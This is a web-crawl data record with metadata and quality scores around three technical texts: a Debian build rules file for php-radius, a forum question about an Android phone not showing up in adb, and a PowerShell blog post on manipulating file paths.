{ "red_pajama_v2": { "ccnet_original_length": 376, "ccnet_original_nlines": 12, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.40506330132484436, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0, "rps_doc_frac_lines_end_with_ellipsis": 0.07692307978868484, "rps_doc_frac_no_alph_words": 0.20253165066242218, "rps_doc_frac_unique_words": 0.6461538672447205, "rps_doc_mean_word_length": 4.523077011108398, "rps_doc_num_sentences": 5, "rps_doc_symbol_to_word_ratio": 0.012658230029046535, "rps_doc_unigram_entropy": 3.6170473098754883, "rps_doc_word_count": 65, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.040816329419612885, "rps_doc_frac_chars_top_3gram": 0.07482992857694626, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -46.72978591918945, "rps_doc_books_importance_length_correction": -46.72978591918945, "rps_doc_openwebtext_importance": -30.225379943847656, "rps_doc_openwebtext_importance_length_correction": -30.225379943847656, "rps_doc_wikipedia_importance": -21.632766723632812, "rps_doc_wikipedia_importance_length_correction": -21.632766723632812 }, "fasttext": { "dclm": 0.06051433086395264, "english": 0.9628146290779114, "fineweb_edu_approx": 2.9498884677886963, "eai_general_math": 0.0975651666522026, "eai_open_web_math": 0.40389007329940796, "eai_web_code": -0.000005249999958323315 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.0285", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "1", "label": "Truncated Snippets" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-8,748,905,288,813,853,000
#!/usr/bin/make -f # template debian/rules provided by dh-make-php. # GNU copyright 2005 by Uwe Steinmann. # Uncomment this to turn on verbose mode. #export DH_VERBOSE=1 # This has to be exported to make some magic below work. export DH_OPTIONS CFLAGS = -O2 -Wall CFLAGS += -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 ifneq (,$(findstring debug,$(DEB_BUILD_OPTIONS))) CFLAGS += -g DEBUG := --enable-debug else DEBUG := --disable-debug endif TAR=tar PECL_PKG_NAME=radius PECL_PKG_REALNAME=radius PECL_PKG_VERSION=1.2.5 PACKAGE_NAME=php-radius BIN_PACKAGE_NAME=php$*-radius PHPIZE=/usr/bin/phpize PHPCONFIG=/usr/bin/php-config EXT_DIR=$(shell $(PHPCONFIG)$* --extension-dir) SOURCE_DIR=$(shell ls -d $(PECL_PKG_REALNAME)-*) BINARYTARGETS=binary-arch-v5 BUILDTARGETS=build-v5 CLEANTARGETS=clean-v5 # Sarge doesn't support --phpapi option (Bug #365667) phpapiver4=$(shell /usr/bin/php-config4 --phpapi) #phpapiver4=$(/usr/bin/php-config4 --extension-dir | xargs basename) phpapiver5=$(shell /usr/bin/php-config5 --phpapi) configure-v4 configure-v5: configure-v%: configure-stamp-v% configure-stamp-v4 configure-stamp-v5: configure-stamp-v%: dh_testdir # Add here commands to configure the package. (cd $(SOURCE_DIR); \ $(PHPIZE)$*; \ ./configure --with-php-config=$(PHPCONFIG)$* --prefix=/usr) # rm -f configure-stamp-v* touch $@ build: $(BUILDTARGETS) build-v4 build-v5: build-v%: build-stamp-v% build-stamp: # xsltproc --nonet --novalid debian/changelog.xsl package.xml > debian/Changelog $(shell /usr/share/dh-make-php/phppkginfo . changelog > debian/Changelog) touch build-stamp build-stamp-v4 build-stamp-v5: build-stamp-v%: build-stamp configure-stamp-v% dh_testdir # Add here commands to compile the package. (cd $(SOURCE_DIR); $(MAKE); mkdir -p ../tmp/modules$*; cp modules/* ../tmp/modules$*; $(MAKE) clean) # rm -f build-stamp-v* touch $@ clean: $(CLEANTARGETS) dh_clean clean-v4 clean-v5: clean-v%: dh_testdir dh_testroot rm -f build-stamp* configure-stamp* # Add here commands to clean up after the build process. (cd $(SOURCE_DIR); \ $(MAKE) clean; \ $(PHPIZE)$* --clean) rm -rf tmp/modules$* install-v4 install-v5: install-v%: build-v% dh_testdir dh_testroot # can't dh_clean here without specifically excluding the possibly existing installed dirs # for other version. #dh_clean -k dh_installdirs # dh_pecl # Add here commands to install the package into debian/$(PACKAGE_NAME). # $(MAKE) INSTALL_ROOT=$(CURDIR)/debian/$(PACKAGE_NAME) install # sh -c 'VERSION=`egrep "#define ZEND_MODULE_API_NO" \ # /usr/include/php4/Zend/zend_modules.h \ # | sed "s/#define ZEND_MODULE_API_NO //"`; \ # chmod 644 debian/$(PACKAGE_NAME)/usr/lib/php4/$$VERSION/*.so' mkdir -p debian/$(BIN_PACKAGE_NAME)/$(EXT_DIR) install -m 644 -o root -g root tmp/modules$*/$(PECL_PKG_NAME).so debian/$(BIN_PACKAGE_NAME)/$(EXT_DIR)/$(PECL_PKG_NAME).so if [ -f "debian/$(PECL_PKG_NAME).ini" ]; then \ mkdir -p debian/$(BIN_PACKAGE_NAME)/etc/php$*/conf.d; \ cp debian/$(PECL_PKG_NAME).ini debian/$(BIN_PACKAGE_NAME)/etc/php$*/conf.d; \ fi # Build architecture-independent files here. binary-indep: dh_testdir dh_testroot dh_installdirs dh_installchangelogs -i php-radius-*/CHANGES dh_installdocs -i dh_installexamples -i cp php-radius-*/radius_authentication.inc debian/php-radius-legacy/usr/share/php-radius/radius_authentication.inc.php cp php-radius-*/radius_authentication.conf.template debian/php-radius-legacy/usr/share/doc/php-radius-legacy/examples/server.conf cp php-radius-*/CHANGES debian/php-radius-legacy/usr/share/doc/php-radius-legacy/changelog ifeq (,$(findstring nostrip,$(DEB_BUILD_OPTIONS))) dh_strip -i endif dh_compress -i dh_fixperms -i dh_installdeb -i dh_shlibdeps -i dh_gencontrol -i dh_md5sums -i dh_builddeb -i # Build architecture-dependent files here. binary-arch-v4 binary-arch-v5: binary-arch-v%: install-v% echo "php:Depends=phpapi-$(phpapiver$*)" >> debian/$(BIN_PACKAGE_NAME).substvars binary-arch: $(BINARYTARGETS) dh_testdir dh_testroot dh_installchangelogs -a debian/Changelog dh_installdocs -a dh_installexamples -a dh_installdebconf -a ifeq (,$(findstring nostrip,$(DEB_BUILD_OPTIONS))) dh_strip -a endif dh_compress -a dh_fixperms -a dh_installdeb -a dh_shlibdeps -a dh_gencontrol -a dh_md5sums -a dh_builddeb -a binary: binary-indep binary-arch .PHONY: build build-v4 build-v5 clean clean-v4 clean-v5 binary-indep binary-arch binary-arch-v4 binary-arch-v5 binary install-v4 install-v5 configure-v4 configure-v5
{ "url": "https://tracker.debian.org/media/packages/p/php-radius/rules-1.2.5-2.4", "source_domain": "tracker.debian.org", "snapshot_id": "crawl=CC-MAIN-2019-35", "warc_metadata": { "Content-Length": "5256", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:BM4I7AM2QUTD4QNU6FLR7PR3AQRCZNY7", "WARC-Concurrent-To": "<urn:uuid:2acfc04e-849e-4acf-afde-7dfafae98c5d>", "WARC-Date": "2019-08-23T13:38:02Z", "WARC-IP-Address": "5.153.231.23", "WARC-Identified-Payload-Type": "application/x-sh", "WARC-Payload-Digest": "sha1:5CZMXXU3DRLYOCATHWZER36CP4JJV4IY", "WARC-Record-ID": "<urn:uuid:479899cb-7397-4b55-8c4c-3a53ca87348b>", "WARC-Target-URI": "https://tracker.debian.org/media/packages/p/php-radius/rules-1.2.5-2.4", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:e5e5478d-1ac7-42cb-b177-44c1d0337867>" }, "warc_info": "isPartOf: CC-MAIN-2019-35\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-109.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0 ], "line_end_idx": [ 4429 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4429, "ccnet_original_nlines": 0, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.09847036004066467, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.06214148923754692, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.43977054953575134, "rps_doc_frac_unique_words": 0.573369562625885, "rps_doc_mean_word_length": 8.907608985900879, "rps_doc_num_sentences": 36, "rps_doc_symbol_to_word_ratio": 0.027724670246243477, "rps_doc_unigram_entropy": 5.112701892852783, "rps_doc_word_count": 368, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.025015249848365784, "rps_doc_frac_chars_dupe_6grams": 0.025015249848365784, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.008541789837181568, "rps_doc_frac_chars_top_3gram": 0.01830383948981762, "rps_doc_frac_chars_top_4gram": 0.020744359120726585, "rps_doc_books_importance": -473.7784118652344, "rps_doc_books_importance_length_correction": -473.7784118652344, "rps_doc_openwebtext_importance": -260.828125, "rps_doc_openwebtext_importance_length_correction": -260.828125, "rps_doc_wikipedia_importance": -204.5567169189453, "rps_doc_wikipedia_importance_length_correction": -204.5567169189453 }, "fasttext": { "dclm": 0.04972023144364357, "english": 0.2943384349346161, "fineweb_edu_approx": 2.017496347427368, "eai_general_math": 0.6672927737236023, "eai_open_web_math": 0.2778617739677429, "eai_web_code": 0.897922158241272 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.452", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "5", "label": "Exceptionally Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
4,467,973,872,933,047,300
0 I use my Nexus 6 for the purposes of developing Android apps, and I have been using my laptop along with my phone to write and test the apps. In the past, I have never had any issues with connecting my phone to my laptop, but as of today, my phone only shows up on my computer when Debug Mode is disabled. When debug mode is enabled and I plug my phone in to my computer, my computer plays the tone that indicates new hardware, but the phone never shows up on the "My Computer" listing, and adb devices does not show it. I have tried rebooting both the computer and the phone, but that has not resolved the issue. My computer is running Windows 10 Pro x64, and my phone is running Android Lollipop v5.1.1 Build LMY48M. I do not know if there is any connection, but prior to installing the latest update to Android System WebView from the Google Play store, this worked just fine. The only reason that I cite this as a possible cause to the problem is because after getting this update, my app drawer was updated to look like the Android Marshmallow app drawer which I thought was not going to be released ahead of Marshmallow. UPDATE: I tried plugging my Nexus in to my machine running Fedora Workstation 22 and it works just fine regardless of whether Debug Mode is enabled or not. UPDATE 2: Whatever the issue is, it's got something to do with my computer. I tried it on my mom's laptop and it works just fine. She does not have the Android SDK installed, but aside from that, her machine is identical to mine. • Have you tried to use a different USB port? Sometimes that is the issue. If not, open your SDK manager and make sure your drivers are up to date. – OPatel Sep 27 '15 at 3:28 • I tried both of these things and neither warranted any results. Thank you for the suggestion though. – DaveTheMinion Sep 27 '15 at 3:30 1 Installing Universal naked drivers shall solve your problem. Assuming you are skillful enough installing drivers manually as you intend to make use of ADB, here's a reference link to Universal Naked Drivers: http://forum.xda-developers.com/google-nexus-5/development/adb-fb-apx-driver-universal-naked-t2513339 It generally supports all Nexus devices(probably all), if it doesn't help, uninstall the current installed driver from Device Manager and replug your Nexus device to make it install its drivers again. | improve this answer | | Your Answer By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy Not the answer you're looking for? Browse other questions tagged or ask your own question.
{ "url": "https://android.stackexchange.com/questions/124309/nexus-6-not-showing-up-in-my-computer-or-adb-with-debug-mode-enabled", "source_domain": "android.stackexchange.com", "snapshot_id": "crawl=CC-MAIN-2020-24", "warc_metadata": { "Content-Length": "142606", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:2PXFMGXL4TQAHV72H47DZA2OIRM3EUDS", "WARC-Concurrent-To": "<urn:uuid:d7a8c003-c55d-496f-a938-43dd5b88bca6>", "WARC-Date": "2020-05-28T22:21:22Z", "WARC-IP-Address": "151.101.193.69", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:4PGOESOB6ELEI5SWSQMR7R2ICY4FNAVL", "WARC-Record-ID": "<urn:uuid:36fd98bc-9c3c-45f1-8e62-eb36090be994>", "WARC-Target-URI": "https://android.stackexchange.com/questions/124309/nexus-6-not-showing-up-in-my-computer-or-adb-with-debug-mode-enabled", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:67b0078b-da77-4a3c-801c-7ed98774c8bd>" }, "warc_info": "isPartOf: CC-MAIN-2020-24\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-84.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 2, 3, 617, 618, 723, 724, 1132, 1133, 1289, 1290, 1520, 1521, 1699, 1839, 1841, 1842, 2152, 2153, 2354, 2355, 2381, 2382, 2394, 2395, 2495, 2496 ], "line_end_idx": [ 2, 3, 617, 618, 723, 724, 1132, 1133, 1289, 1290, 1520, 1521, 1699, 1839, 1841, 1842, 2152, 2153, 2354, 2355, 2381, 2382, 2394, 2395, 2495, 2496, 2586 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2586, "ccnet_original_nlines": 26, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.42105263471603394, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03266787901520729, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.17785844206809998, "rps_doc_frac_unique_words": 0.4832962155342102, "rps_doc_mean_word_length": 4.543429851531982, "rps_doc_num_sentences": 24, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.963632106781006, "rps_doc_word_count": 449, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.01764705963432789, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.029411759227514267, "rps_doc_frac_chars_top_3gram": 0.01617646962404251, "rps_doc_frac_chars_top_4gram": 0.014705879613757133, "rps_doc_books_importance": -218.99302673339844, "rps_doc_books_importance_length_correction": -218.99302673339844, "rps_doc_openwebtext_importance": -130.61610412597656, "rps_doc_openwebtext_importance_length_correction": -130.61610412597656, "rps_doc_wikipedia_importance": -75.50106811523438, "rps_doc_wikipedia_importance_length_correction": -75.50106811523438 }, "fasttext": { "dclm": 0.074432373046875, "english": 0.9452985525131226, "fineweb_edu_approx": 1.0343598127365112, "eai_general_math": 0.0010154199553653598, "eai_open_web_math": 0.08103399723768234, "eai_web_code": 0.002003550063818693 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.162", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-1,962,090,075,160,845,000
Fun with Paths PowerShell Team Jeffrey wrote a great post for wizards about the scope of variables in PowerShell, so to maintain balance, I thought I’d weigh in with one for newbies. (Although, to be honest, Jeffrey’s description is clear enough for the rest of us.)   There are some newbies here, right?   In a thread about Move-Item on Microsoft.Public.Windows.PowerShell, PowerShell tester-extraordinaire Marcel Ortiz Soto suggested a clever method for deleting the current directory from a path. You might want to study this method and store it away for future use.   As a bonus, it shows how do string manipulation on PathInfo and FileInfo objects. Essentially, you use string methods on the string properties of these non-string objects. (Easier done than said…)   By the way, Marcel’s solution uses the $pwd automatic variable, which always contains the path to the current directory.         PS C:\Windows> $pwd       Path       —-       C:\Windows   $pwd is missing from the version of about_automatic_variables shipped with Windows PowerShell 1.0, but it will appear in updates. Sorry about that.     The Problem   A user wanted to move selected files from one directory to another while preserving their directory structure. Because the files were being piped to Move-Item one at a time from a Get-ChildItem command, the directory structure was lost.   The solution was to specify a new directory path for each file that consisted of a new location, but the current subdirectories and file name.   The original path:         C:\Windows\<subdirectories\filename>   The new path:         D:\Archive\<subdirectories\filename>   The task is to remove the current directory (C:\Windows) from the path and append the remainder of the path to D:\Archive.     The  Solution   Here is Marcel’s solution:   get-childitem | where {conditions} | move-item -destination {join-path ‘D:\Archive’ $_.FullName.SubString($pwd.path.length) }     The Method: Eliminate the current directory from a path   My first inclination was to use the Split-Path cmdlet to eliminate the current directory part of the path, but it doesn’t let you distinguish between parts of a “Parent” path. Thus, the solution requires some string manipulation.   To delete the current directory from a file or directory path:   1.       Find the length (the number of characters) of the current directory path. Use the Length property of the path, which is a string.       PS C:\Windows> $pwd                 # a PathInfo object     Path     —-     C:\Windows       PS C:\Windows> $pwd.path            # a string     C:\Windows       PS C:\Windows> $pwd.path.length     # the length of the path string     10   (HINT: $pwd is a PathInfo object, so it doesn’t have a Length property, but its Path property is a string, which does have a Length property.)     2.       Find the original, fully-qualified path of the file, which includes the current directory. Use the FullName property of the file (or directory), which is a string.   PS C:\Windows> get-item C:\Windows\Dev\tmp.txt         # FileInfo object   PS C:\Windows> (get-item C:\Windows\Dev\tmp.txt).fullname C:\Windows\Dev\tmp.txt   (HINT: We use FullName property to get a string object that contains the file path. This allows us to do the next step, which requires a string.)   3.       Use the SubString method on the FullName property of the original file path. The SubString method eliminates the specified number of characters, and then returns the remainder of the string.   For the value of substring, that is, the number of characters to eliminate, use $pwd.path.length which represents the number of characters in the current directory path.   <File>.FullName.Substring(<length-of-current-directory-path>)       PS C:\Windows>(get-item C:\Windows\Dev\tmp.txt).FullName.SubString($pwd.path.length)   \Dev\tmp.txt   In essence, we take the original path in string form (its FullName): C:\Windows\Dev\tmp.txt   Then we eliminate the number of characters in the path to the current directory ($pwd.path.length = 10 characters).   C:\Windows\Dev\tmp.txt   And return the remainder of the string (the “substring”):   \Dev\tmp.txt   (HINT: You can’t use the SubString method on the file path, which is a FileInfo object, but you can use it on the value of the FullName property of the FileInfo object, which is a string.)   For more information about the Substring method, see:            http://msdn2.microsoft.com/en-us/library/aa904307(VS.71).aspx.)     Create a New Path      The final step is to append the remainder of the path to the new location, D:\Archive.   In this case, Marcel used the Join-Path cmdlet to create a new path. He appended the remainder of the file path to a new path header, D:\Archive:   PS C:\Windows> join-path -path <NewPath> -Childpath <path-substring>   PS C:\Windows> join-path -path D:\Archive -childpath (get-item C:\Windows\Dev\tmp.txt).FullName.SubString($pwd.path.length)   D:\Archive\Dev\tmp.txt   This was a great solution for this task, but it’s also a great strategy for many different tasks. It’s a neat twist on Split-Path.   June Blender [MSFT] Windows PowerShell Documentation 1 comment Discussion is closed. Login to edit/delete existing comments. • Eric MarquezMicrosoft employee 0 I’ve been trying to figure out how to find the file path that has the correct case.  I know windows is case insensitive but I’m working with WSL and this is case sensitive.  I need to know what is the actual case used by windows in a path.example: If I open explorer the actual path with the correct case is C:\Tools\CredentialProviderbut in PowerShell, if I use (Get-Item C:\Tools\credentialprovider\).FullName or (Get-ChildItem -Path C:\Tools\credentialprovider\).FullName I will get.C:\Tools\credentialprovider\which is not the correct case.  At a point in time (Get-Item C:\Tools\credentialprovider\).Target used to provide the correct path but now I get a null result.  Is there a way to get the actual path in PowerShell?I tried this in PowerShell 5.1.17763.316 and 6.1.2. Feedback usabilla icon
{ "url": "https://devblogs.microsoft.com/powershell/fun-with-paths/", "source_domain": "devblogs.microsoft.com", "snapshot_id": "CC-MAIN-2024-18", "warc_metadata": { "Content-Length": "193034", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:NHHYPTX6EK6FYGLXAP6UVW4MUBIW65GO", "WARC-Concurrent-To": "<urn:uuid:734a40f2-58c1-45f9-bf79-604bc52e1d75>", "WARC-Date": "2024-04-23T00:45:16Z", "WARC-IP-Address": "104.105.89.149", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:XVUCBNKJIWYFTL2YTGH433EN6GNINWLF", "WARC-Record-ID": "<urn:uuid:f17bc594-9fb2-49b2-9a6f-121b9d713237>", "WARC-Target-URI": "https://devblogs.microsoft.com/powershell/fun-with-paths/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:6073298d-6bd1-4452-bec3-fe4ba530a423>" }, "warc_info": "isPartOf: CC-MAIN-2024-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-118\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 15, 16, 32, 33, 269, 270, 272, 273, 309, 310, 312, 313, 576, 577, 579, 580, 777, 778, 780, 781, 902, 903, 905, 906, 932, 933, 944, 945, 954, 955, 972, 973, 975, 976, 1124, 1125, 1127, 1128, 1130, 1131, 1143, 1144, 1146, 1147, 1384, 1385, 1387, 1388, 1531, 1532, 1534, 1535, 1554, 1555, 1557, 1558, 1601, 1602, 1604, 1605, 1619, 1620, 1622, 1623, 1666, 1667, 1669, 1670, 1793, 1794, 1796, 1797, 1799, 1800, 1814, 1815, 1817, 1818, 1845, 1846, 1848, 1849, 1975, 1976, 1978, 1979, 1981, 1982, 2038, 2039, 2041, 2042, 2272, 2273, 2275, 2276, 2339, 2340, 2342, 2343, 2482, 2483, 2485, 2486, 2546, 2547, 2556, 2557, 2564, 2565, 2580, 2581, 2583, 2584, 2635, 2636, 2651, 2652, 2654, 2655, 2727, 2728, 2735, 2736, 2738, 2739, 2882, 2883, 2885, 2886, 2888, 2889, 3062, 3063, 3065, 3066, 3139, 3140, 3142, 3143, 3224, 3225, 3227, 3228, 3374, 3375, 3377, 3378, 3578, 3579, 3581, 3582, 3752, 3753, 3755, 3756, 3822, 3823, 3825, 3826, 3911, 3912, 3914, 3915, 3928, 3929, 3931, 3932, 4001, 4002, 4025, 4026, 4028, 4029, 4145, 4146, 4148, 4149, 4172, 4173, 4175, 4176, 4234, 4235, 4237, 4238, 4251, 4252, 4254, 4255, 4444, 4445, 4447, 4448, 4510, 4511, 4578, 4579, 4581, 4582, 4584, 4585, 4606, 4607, 4609, 4610, 4697, 4698, 4700, 4701, 4847, 4848, 4850, 4851, 4920, 4921, 4923, 4924, 5048, 5049, 5051, 5052, 5075, 5076, 5078, 5079, 5210, 5211, 5213, 5214, 5234, 5235, 5268, 5269, 5279, 5280, 5342, 5343, 5380, 5381, 6164, 6165 ], "line_end_idx": [ 15, 16, 32, 33, 269, 270, 272, 273, 309, 310, 312, 313, 576, 577, 579, 580, 777, 778, 780, 781, 902, 903, 905, 906, 932, 933, 944, 945, 954, 955, 972, 973, 975, 976, 1124, 1125, 1127, 1128, 1130, 1131, 1143, 1144, 1146, 1147, 1384, 1385, 1387, 1388, 1531, 1532, 1534, 1535, 1554, 1555, 1557, 1558, 1601, 1602, 1604, 1605, 1619, 1620, 1622, 1623, 1666, 1667, 1669, 1670, 1793, 1794, 1796, 1797, 1799, 1800, 1814, 1815, 1817, 1818, 1845, 1846, 1848, 1849, 1975, 1976, 1978, 1979, 1981, 1982, 2038, 2039, 2041, 2042, 2272, 2273, 2275, 2276, 2339, 2340, 2342, 2343, 2482, 2483, 2485, 2486, 2546, 2547, 2556, 2557, 2564, 2565, 2580, 2581, 2583, 2584, 2635, 2636, 2651, 2652, 2654, 2655, 2727, 2728, 2735, 2736, 2738, 2739, 2882, 2883, 2885, 2886, 2888, 2889, 3062, 3063, 3065, 3066, 3139, 3140, 3142, 3143, 3224, 3225, 3227, 3228, 3374, 3375, 3377, 3378, 3578, 3579, 3581, 3582, 3752, 3753, 3755, 3756, 3822, 3823, 3825, 3826, 3911, 3912, 3914, 3915, 3928, 3929, 3931, 3932, 4001, 4002, 4025, 4026, 4028, 4029, 4145, 4146, 4148, 4149, 4172, 4173, 4175, 4176, 4234, 4235, 4237, 4238, 4251, 4252, 4254, 4255, 4444, 4445, 4447, 4448, 4510, 4511, 4578, 4579, 4581, 4582, 4584, 4585, 4606, 4607, 4609, 4610, 4697, 4698, 4700, 4701, 4847, 4848, 4850, 4851, 4920, 4921, 4923, 4924, 5048, 5049, 5051, 5052, 5075, 5076, 5078, 5079, 5210, 5211, 5213, 5214, 5234, 5235, 5268, 5269, 5279, 5280, 5342, 5343, 5380, 5381, 6164, 6165, 6187 ] }
